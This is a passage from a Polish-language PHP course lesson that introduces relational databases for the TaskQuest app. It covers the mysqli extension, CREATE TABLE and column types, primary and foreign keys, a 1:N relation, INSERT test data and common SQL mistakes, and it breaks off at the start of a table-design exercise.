<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        bez zmian
├── dodaj-zadanie.php                bez zmian
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: plik SQL na liście wymaganych, sekcja „Baza danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               bez zmian
├── config/
│   └── config.php                   bez zmian (dane dostępowe do bazy dojdą w L18)
├── includes/
│   ├── header.php                   bez zmian
│   ├── footer.php                   (zmiana: "TaskQuest 1.7")
│   └── ... pozostałe pliki funkcji  bez zmian
├── sql/                             NOWY KATALOG
│   └── taskquest.sql                NOWY — tabele bazy + dane testowe
└── data/
    └── zadania.csv                  bez zmian — aplikacja nadal z niego czyta</code></pre>



<h3 class="wp-block-heading">Co zostaje, co dochodzi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 15</th><th>Po Lekcji 17</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code></td><td>źródło danych</td><td><strong>zostają</strong> — nadal źródło danych aplikacji</td></tr><tr><td>klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></td><td>istnieją</td><td><strong>zostają</strong> bez zmian — ich właściwości podpowiadają kolumny tabel</td></tr><tr><td>symulowane <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14'</code></td><td>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><strong>zostają</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>; te same wartości trafiają do bazy jako dane testowe</td></tr><tr><td>baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> z tabelami <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code></td><td>nie ma</td><td><strong>dochodzi</strong> (skrypt <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>)</td></tr><tr><td>sprawdzenie rozszerzenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></td><td>nie ma</td><td><strong>dochodzi</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Nic nie usuwamy.</p>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 15 jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja15/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP (albo w innym używanym pakiecie) <strong>Apache</strong> i <strong>MySQL</strong>. W XAMPP moduł nazywa się „MySQL”, choć w środku działa MariaDB (sekcja 3.2).</li>



<li>Wejdź na <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/phpmyadmin</code> i sprawdź, czy strona się otwiera.</li>



<li>Otwórz w edytorze swój <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. Przyda się w kroku 3 sekcji 5.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Nauczycielka chce, żeby cała klasa, 30 osób, używała TaskQuest na jednym serwerze szkolnym. Zobaczmy, co się stanie z obecną wersją. Każdy punkt poniżej to znane ograniczenie, które zapisywaliśmy przy wcześniejszych lekcjach.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Co robi TaskQuest 1.5</th><th>Dlaczego</th></tr></thead><tbody><tr><td>Kuba i Ola logują się na różne loginy</td><td>widzą <strong>te same zadania</strong></td><td>jest jeden plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code> dla wszystkich</td></tr><tr><td>Kuba zdobywa XP</td><td>u Oli też jest 99 XP, u Kuby po odświeżeniu też 99</td><td>XP jest wpisane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td></tr><tr><td>Kuba i Ola jednocześnie dodają zadanie</td><td>jedno z zadań może <strong>zniknąć</strong></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> wczytuje cały plik i nadpisuje go w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>; dwa zapisy naraz nadpisują się nawzajem</td></tr><tr><td>Ktoś ręcznie psuje jedną linię CSV</td><td><strong>nikt</strong> nie widzi swoich zadań</td><td>pierwszy zły wiersz przerywa wczytywanie całego pliku</td></tr><tr><td>Chcemy pokazać tylko zadania Oli</td><td>trzeba wczytać wszystko i filtrować w PHP</td><td>plik nie potrafi „odpowiedzieć na pytanie”</td></tr><tr><td>Plik ma termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code></td><td>zapisuje go bez protestu</td><td>CSV to zwykły tekst; pilnuje tylko nasz kod</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Można by dla każdego ucznia tworzyć osobny plik, pilnować blokad, pisać własne wyszukiwanie. To jednak oznacza budowanie własnej, gorszej bazy danych. Lepiej użyć prawdziwej.</p>



<p class="wp-block-paragraph"><strong>Baza danych</strong> to program (serwer), który przechowuje dane w <strong>tabelach</strong> i sam dba o to, żeby:</p>



<ul class="wp-block-list">
<li>wiele osób mogło jednocześnie czytać i zapisywać,</li>



<li>zmiana jednego wiersza nie wymagała przepisywania całości,</li>



<li>do tabeli nie trafiały dane złego typu, zbyt długie teksty, nieistniejące daty,</li>



<li>dane w różnych tabelach do siebie pasowały (np. zadanie nie może należeć do nieistniejącego użytkownika),</li>



<li>dało się zadać pytanie, np. „pokaż niewykonane zadania użytkownika nr 2 posortowane po terminie”. Tym zajmiemy się w Lekcji 18.</li>
</ul>



<h1 class="wp-block-heading">3. Nowy mechanizm: relacyjna baza danych</h1>



<h2 class="wp-block-heading">3.1 Pojęcia — na przykładzie, który już znasz</h2>



<p class="wp-block-paragraph">Twój <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> jest bardzo blisko tabeli w bazie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp          ← nagłówek = nazwy KOLUMN
1;"   Nauczyć   się regexów   PHP   ";... ← jedna linia = jeden WIERSZ (rekord)</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pojęcie</th><th>W CSV</th><th>W bazie danych</th></tr></thead><tbody><tr><td><strong>baza danych</strong></td><td>katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>: zbiór tabel jednej aplikacji</td></tr><tr><td><strong>tabela</strong></td><td>plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>: dane jednego rodzaju</td></tr><tr><td><strong>kolumna</strong></td><td>pole w nagłówku, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, ale <strong>z typem</strong>, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code> (baza przyjmie tylko datę)</td></tr><tr><td><strong>wiersz (rekord)</strong></td><td>jedna linia</td><td>jedno zadanie</td></tr><tr><td><strong>klucz główny</strong> (<em>primary key</em>)</td><td>kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, a o unikalność dba <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>: baza <strong>gwarantuje</strong> unikalność i sama nadaje kolejne numery</td></tr><tr><td><strong>SQL</strong></td><td>brak</td><td>język, w którym rozmawiamy z bazą (<code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>, &#8230;)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Najważniejsza różnica: w CSV <strong>każda kolumna to tekst</strong>, a sprawdzanie poprawności robi nasz kod (<code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>). W bazie każda kolumna ma <strong>typ i reguły</strong>, a baza sama odrzuca to, co ich nie spełnia.</p>



<h2 class="wp-block-heading">3.2 MySQL czy MariaDB?</h2>



<p class="wp-block-paragraph"><strong>MySQL</strong> to najpopularniejszy darmowy system baz danych. Od 2010 roku należy do firmy Oracle. <strong>MariaDB</strong> powstała w 2009 roku jako jego odgałęzienie (<em>fork</em>), stworzone przez pierwotnych autorów MySQL. Oba systemy są <strong>relacyjne</strong>: dane leżą w tabelach, które mogą być ze sobą powiązane.</p>



<p class="wp-block-paragraph">W podstawach, których używamy, są praktycznie identyczne: ta sama składnia SQL i to samo rozszerzenie PHP. XAMPP zawiera MariaDB, choć moduł w panelu nazywa się „MySQL”. Jeśli phpMyAdmin pokazuje „MariaDB”, to nie jest błąd.</p>



<h2 class="wp-block-heading">3.3 Jak PHP rozmawia z bazą — <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></h2>



<p class="wp-block-paragraph">Samo PHP nie zna bazy danych. Potrzebuje <strong>rozszerzenia</strong>, czyli dodatkowego modułu:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Rozszerzenie</th><th>Status</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code> (funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_query()</code>)</td><td><strong>usunięte w PHP 7.0</strong> (2015). Nie działa. Zobaczysz je jeszcze w starych poradnikach w internecie</td></tr><tr><td><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></strong> („MySQL improved”)</td><td>aktualne; tego używamy w TaskQuest</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Istnieje też trzecie rozszerzenie, PDO, ale w kursie z niego nie korzystamy.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> można używać na dwa sposoby: funkcjami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect(...)</code>) albo obiektowo (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>). <strong>W TaskQuest używamy wyłącznie wersji obiektowej.</strong> Od Lekcji 15 znasz obiekty, a TaskQuest jest już zbudowany z klas.</p>



<p class="wp-block-paragraph">Sprawdźmy, czy Twój PHP ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

var_dump(extension_loaded('mysqli'));
var_dump(extension_loaded('mysql'));
var_dump(class_exists('mysqli'));

echo 'Wersja PHP: ' . PHP_VERSION;</code></pre>



<p class="wp-block-paragraph">Przewidź wynik, a potem uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>.</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysqli')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>: rozszerzenie jest włączone.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysql')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>: stare rozszerzenie nie istnieje w PHP 7 i 8.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">class_exists('mysqli')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> to <strong>klasa</strong>, tak jak Twoja <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. W Lekcji 18 napiszesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code> i dostaniesz obiekt połączenia.</li>
</ul>



<p class="wp-block-paragraph">Jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code> (w XAMPP: panel → Apache → Config → PHP (php.ini)). Znajdź linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">;extension=mysqli</code>, usuń średnik na początku i zrestartuj Apache.</p>



<h2 class="wp-block-heading">3.4 Tabela w SQL — przykład: tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code></h2>



<p class="wp-block-paragraph">Zacznijmy od klasy, którą znasz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;
    // ...
}</code></pre>



<p class="wp-block-paragraph">Tak wygląda odpowiadająca jej tabela:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph">Czytamy linia po linii. Każda kolumna to: <strong>nazwa, typ, reguły</strong>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Fragment</th><th>Znaczenie</th><th>Skąd taka decyzja w TaskQuest</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code></td><td>liczba całkowita</td><td>jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> w PHP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code></td><td>bez znaku: tylko 0 i więcej</td><td>XP i streak nie mogą być ujemne. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> pilnuje tego w PHP, baza pilnuje dodatkowo</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(20)</code></td><td>tekst o <strong>maksymalnej</strong> długości 20 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> pozwala na 3–20 znaków; imię: <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> pozwala na najwyżej 30</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code></td><td>data <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td><td>ten sam format, którego używamy od lekcji o datach</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code></td><td>wartość <strong>musi</strong> być podana</td><td>użytkownik bez loginu nie ma sensu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>wartość <strong>może nie istnieć</strong></td><td>nowy użytkownik nie miał jeszcze żadnej aktywności; hasła jeszcze nie ma</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT 0</code></td><td>wartość, gdy jej nie podamy</td><td>nowy użytkownik zaczyna od 0 XP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code></td><td>w całej tabeli wartość nie może się powtórzyć</td><td>dwóch użytkowników nie może mieć tego samego loginu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code></td><td><strong>klucz główny</strong>: jednoznacznie wskazuje wiersz; zawsze unikalny i nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>„użytkownik nr 1”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code></td><td>baza sama nadaje kolejne numery 1, 2, 3&#8230;</td><td>to, co robi nasza <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>, ale pewniej</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code></td><td>sposób przechowywania tabeli</td><td>tylko InnoDB pilnuje powiązań między tabelami (3.6)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code></td><td>kodowanie znaków</td><td>polskie litery i emoji (Eksperyment 3)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> to nie jest pusty tekst ani zero.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> oznacza „brak wartości, nie wiadomo”. Pusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> to tekst, który istnieje, tylko nie ma znaków. W PHP <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> z bazy stanie się <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</p>



<h3 class="wp-block-heading">Dwie rzeczy, które wyglądają na zmiany — i dlaczego je robimy</h3>



<ol class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zamiast samego loginu.</strong> Login jest unikalny, więc mógłby być kluczem głównym. Tak się jednak nie robi. Login jest widoczny dla użytkownika i kiedyś może się zmienić. Wtedy trzeba by poprawić go w każdym zadaniu, które na niego wskazuje. Liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nigdy się nie zmienia, a login pilnujemy regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>. Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> nie ma dziś <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, bo nie było go skąd wziąć. Wróci to w Lekcji 18.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie_uzytkownika</code>.</strong> Jesteśmy w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, więc dopisek „użytkownika” nic nie dodaje. To ta sama nazwa co klucz w sesji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code>). Właściwość w klasie nadal nazywa się <code class="prettyprint lang-sql" style="font-size: 0.85em;">imieUzytkownika</code>.</li>
</ol>



<h3 class="wp-block-heading">Konwencja nazw w bazie TaskQuest</h3>



<p class="wp-block-paragraph">Nazwy tabel i kolumn są <strong>po polsku, tak jak w PHP</strong>, ale w stylu SQL: małe litery, bez polskich znaków, słowa rozdzielone podkreślnikiem (<em>snake_case</em>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>PHP</th><th>Baza</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code></td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (jedno zadanie)</td><td>tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> (zbiór zadań, liczba mnoga)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">3.5 Czego NIE zapisujemy w bazie</h2>



<p class="wp-block-paragraph">W tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> <strong>nie ma</strong> kolumn <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul_gracza</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">procent_postepu</code> ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">brakujace_xp</code>. Wszystkie wynikają z XP. Od lekcji o funkcjach liczą je funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczProcentPostepu()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ileBrakujeXp()</code>, a od Lekcji 15 także metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>.</p>



<p class="wp-block-paragraph">Gdybyśmy zapisali XP <strong>i</strong> poziom, prędzej czy później zdarzyłoby się tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = 350, poziom = 2</code></pre>



<p class="wp-block-paragraph">Któraś wartość kłamie. Tylko która? Baza tego nie wie.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Zasada:</strong> w bazie zapisujemy dane, których <strong>nie da się obliczyć</strong> z innych danych. Resztę liczymy w PHP. Każda informacja ma jedno źródło prawdy, tak jak w Lekcji 15, gdzie usunęliśmy luźne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> obok obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>.</p>
</blockquote>



<p class="wp-block-paragraph">Tę zasadę zastosujesz za chwilę sama/sam przy zadaniach (4b).</p>



<h2 class="wp-block-heading">3.6 Relacja 1:N i klucz obcy</h2>



<p class="wp-block-paragraph">Każde zadanie musi mieć <strong>właściciela</strong>. Jeden użytkownik może mieć wiele zadań, a jedno zadanie należy do dokładnie jednego użytkownika. To relacja <strong>jeden do wielu (1:N)</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy                         zadania
+----+-----------+                  +----+---------------+----------------------+
| id | login     |                  | id | uzytkownik_id | tytul                |
+----+-----------+                  +----+---------------+----------------------+
|  1 | Kama_2026 | ◄──────────┬──── |  1 |             1 | Nauczyć się regexów  |
|    |           |            ├──── |  2 |             1 | ...                  |
|    |           |            └──── |  3 |             1 | ...                  |
|  2 | Ola_TQ    | ◄─────────────── |  4 |             2 | Zaprojektować bazę   |
+----+-----------+                  +----+---------------+----------------------+
          1                                         N</code></pre>



<p class="wp-block-paragraph">Połączenie realizuje kolumna <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code></strong> w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>. Przechowuje ona <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> właściciela. Kolumna, która wskazuje klucz główny innej tabeli, to <strong>klucz obcy</strong> (<em>foreign key</em>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE</code></pre>



<p class="wp-block-paragraph">Czytaj: „<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> musi być <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> istniejącego wiersza w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. Gdy użytkownik zostanie usunięty, usuń też (<em>cascade</em>, kaskadowo) jego zadania”.</p>



<p class="wp-block-paragraph">Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, a nie odwrotnie? Pole użytkownika mieści <strong>jedną</strong> wartość. Nie zmieścisz w nim listy „zadania 1, 2, 3”. W relacji 1:N klucz obcy zawsze trafia na stronę „N”.</p>



<h2 class="wp-block-heading">3.7 Dane testowe — <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></h2>



<p class="wp-block-paragraph">Tabela po utworzeniu jest pusta. Wiersze dodaje polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);</code></pre>



<ul class="wp-block-list">
<li>W nawiasie po nazwie tabeli wymieniamy kolumny, które wypełniamy. Pomijamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (nada je <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> (zostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>).</li>



<li>Teksty i daty w apostrofach, liczby bez nich, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to byłby tekst „NULL”).</li>



<li>Kolejne wiersze rozdzielamy przecinkiem, a całe polecenie kończy średnik.</li>
</ul>



<p class="wp-block-paragraph">Kama ma <strong>dokładnie te wartości</strong>, które TaskQuest symuluje od Lekcji 15 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14'</code>). Gdy w Lekcji 18 podłączymy bazę, strona powinna pokazać to samo co dziś. To będzie nasz test.</p>



<p class="wp-block-paragraph">Do podejrzenia zawartości tabeli wystarczy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM uzytkownicy;</code></pre>



<p class="wp-block-paragraph">Więcej o <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> w Lekcji 18.</p>



<h2 class="wp-block-heading">3.8 Typowe błędy</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Błąd</th><th>Skutek</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> w apostrofach</td><td>zapisuje tekst „NULL”, a nie brak wartości</td></tr><tr><td>liczba w apostrofach <code class="prettyprint lang-sql" style="font-size: 0.85em;">'99'</code></td><td>zwykle zadziała (baza przekonwertuje), ale to zła praktyka. Typ kolumny jest po to, żeby było jasne, co to jest</td></tr><tr><td>data <code class="prettyprint lang-sql" style="font-size: 0.85em;">'14.09.2026'</code></td><td>błąd: baza przyjmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code></td><td>emoji w tytule zadania powoduje błąd (Eksperyment 3)</td></tr><tr><td>przecinek po ostatniej kolumnie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code></td><td>błąd składni <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code></td></tr><tr><td>tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> tworzona przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code></td><td>błąd: klucz obcy wskazuje tabelę, której jeszcze nie ma</td></tr><tr><td>cudzysłów typograficzny <code class="prettyprint lang-sql" style="font-size: 0.85em;">’</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">'</code> (kopiowanie z Worda)</td><td>błąd składni</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">4. SAMODZIELNIE — projekt tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code></h1>



<p class="wp-block-paragraph">Na kartce albo w pliku tekstowym zaprojektuj tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>. Masz do dyspozycji:</p>



<ul class="wp-block-list">
